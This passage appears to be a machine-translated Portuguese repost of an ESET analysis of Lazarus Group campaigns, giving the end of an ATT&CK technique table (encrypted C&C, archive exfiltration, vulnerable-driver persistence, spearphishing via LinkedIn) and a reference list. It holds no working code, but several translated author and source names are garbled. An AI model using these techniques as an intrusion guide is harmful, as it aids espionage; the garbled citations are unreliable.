T1573.001 Canal criptografado: criptografia simétrica O backdoor HTTP(S) do Lazarus criptografa o tráfego C&C usando o algoritmo AES-128.
T1132.001 Codificação de Dados: Codificação Padrão As cargas úteis do Lazarus HTTP(S) codificam o tráfego C&C usando o algoritmo base64.
exfiltration T1560.002 Arquivar dados coletados: arquivar via biblioteca O carregador HTTP(S) do Lazarus pode compactar arquivos de interesse e enviá-los para seu C&C.
Desenvolvimento de Recursos T1584.004 Adquirir Infraestrutura: Servidor Servidores comprometidos foram usados ​​por todos os backdoor, uploader e downloader HTTP(S) do Lazarus como um C&C.
Desenvolver capacidades T1587.001 malwares As ferramentas personalizadas do ataque provavelmente são desenvolvidas pelos invasores. Alguns exibem capacidades de desenvolvimento de kernel altamente específicas vistas anteriormente nas ferramentas Lazarus.
Execução T1204.002 Execução do usuário: arquivo malicioso O alvo foi atraído para abrir um documento malicioso do Word.
Acesso Inicial T1566.003 Phishing: Spearphishing via Serviço O alvo foi contatado via LinkedIn Messaging.
T1566.001 Phishing: anexo de spearphishing O alvo recebeu um anexo malicioso.
Persistência T1547.006 Execução de inicialização automática de inicialização ou logon: módulos e extensões do kernel O BYOVD DBUtils_2_3.sys foi instalado para iniciar através do carregador de inicialização (valor 0x00 no Início chave sob HKLMSYSTEM‌CurrentControlSetServices.
T1547.001 Execução de inicialização automática de inicialização ou logon: pasta de inicialização O dropper do downloader HTTP(S) cria um arquivo LNK OneNoteTray.LNK na pasta de inicialização.

Referências

Ahnlab. Relatório de análise sobre o ataque de rootkit do Lazarus Group usando BYOVD. Vers. 1.0. 22 de setembro de 2022. Recuperado do AhnLab Security Emergency Response Center.

Ahnlab. (2021, 4 de junho). Ataques APT em empresas domésticas usando arquivos de biblioteca. Recuperado do AhnLab Security Emergency Response Center.

Ahnlab. (2022, 22 de setembro). Relatório de análise sobre o ataque de rootkit do Lazarus Group usando BYOVD. Recuperado do AhnLab Security Emergency Response Center.

Breitenbacher, D., & Kaspars, O. (2020, junho). Operação In(ter)cepção: empresas aeroespaciais e militares na mira dos ciberespiões. Recuperado de WeLiveSecurity.com.

Equipe de Pesquisa ClearSky. (2020, 13 de agosto). Operação 'trabalho dos sonhos' campanha de espionagem norte-coreana generalizada. Recuperado de ClearSky.com.

Dekel, K. (sd). Pesquisa de segurança do Sentinel Labs. CVE-2021-21551- Centenas de milhões de computadores Dell em risco devido a várias falhas de escalonamento de privilégios de driver de BIOS. Recuperado de SentinelOne.com.

ESET. (2021, 3 de junho). Relatório de Ameaças ESET T 1 2021. Recuperado de WeLiveSecurity.com.

Excelente. (2016, 16 de agosto). O sorteio da equação. Recuperado de SecureList.com.

HvS-Consulting AG. (2020, 15 de dezembro). Saudações de Lázaro: Anatomia de uma campanha de ciberespionagem. Recuperado de hvs-consulting.de.

Cherepanov, A., & Kálnai, P. (2020, novembro). Ataque à cadeia de suprimentos de Lázaro na Coreia do Sul. Recuperado de WeLiveSecurity.com.

Kálnai, P. (2017, 2 17). Desmistificando malware direcionado usado contra bancos poloneses. (ESET) Recuperado de WeLiveSecurity.com.

Kopeytsev, V., & Park, S. (2021, fevereiro). Lazarus visa a indústria de defesa com ThreatNeedle. (Kaspersky Lab) Recuperado de SecureList.com.

Lee, T.-w., Dong-wook, & Kim, B.-j. (2021). Operação BookCode – Visando a Coreia do Sul. Boletim de Vírus. localhost. Recuperado de vblocalhost.com.

Maclachlan, J., Potaczek, M., Isakovic, N., Williams, M., & Gupta, Y. (2022, 14 de setembro). É hora de PuTTY! Phishing de Oportunidade de Emprego na RPDC via WhatsApp. Recuperado de Mandiant.com.

Tomonaga, S. (2020, 29 de setembro). BLINDINGCAN – Malware usado pelo Lazarus. (JPCERT/CC) Recuperado de blogs.jpcert.or.jp.

US-CERT CISA. (2020, 19 de agosto). MAR-10295134-1.v1 – Trojan de acesso remoto norte-coreano: BLINDINGCAN. (CISA) Recuperado de cisa.gov.

Weidemann, A. (2021, 1). Nova campanha direcionada a pesquisadores de segurança. (Grupo de análise de ameaças do Google) Recuperado de blog.google.

Wu, H. (2008). A cifra de fluxo HC-128. Em M. Robshaw, & O. Billet, Novos designs de cifra de fluxo (Vol. 4986). Berlim, Heidelberg: Springer. Retirado de doi.org.

Campanhas do Lazarus com o tema Amazon na Holanda e na Bélgica PlatoBlockchain Data Intelligence. Pesquisa vertical. Ai.

Carimbo de hora:

Mais de Nós Vivemos Segurança